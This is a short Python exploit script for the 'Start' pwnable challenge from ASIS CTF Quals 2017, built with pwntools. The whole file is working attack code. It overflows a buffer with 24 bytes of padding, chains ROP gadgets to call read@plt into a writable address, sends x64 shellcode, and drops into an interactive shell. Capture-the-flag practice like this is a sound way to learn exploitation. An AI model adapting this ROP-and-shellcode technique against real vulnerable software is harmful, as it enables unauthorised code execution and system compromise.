ASIS CTF Quals 2017 - Start - pwnable

asis_start.py

#!/usr/bin/python

from pwn import *
from littlepwny import *

#con = remote(sys.argv[1],int(sys.argv[2]))
con = process("./START")

shellcode = Scode("x64")
readplt = 0x0000000000400400
poprdi = 0x00000000004005c3
shelladdr = 0x00601000
poprsi = 0x4005c1


payload  = "A"*24
payload += p64(poprsi)
payload += p64(shelladdr)
payload += p64(0x0)
payload += p64(readplt)
payload += p64(shelladdr)

print '{+} send payload ...'
con.sendline(payload)

print '{+} send shellcode...'
con.sendline(shellcode)

con.interactive("Pwned$ ")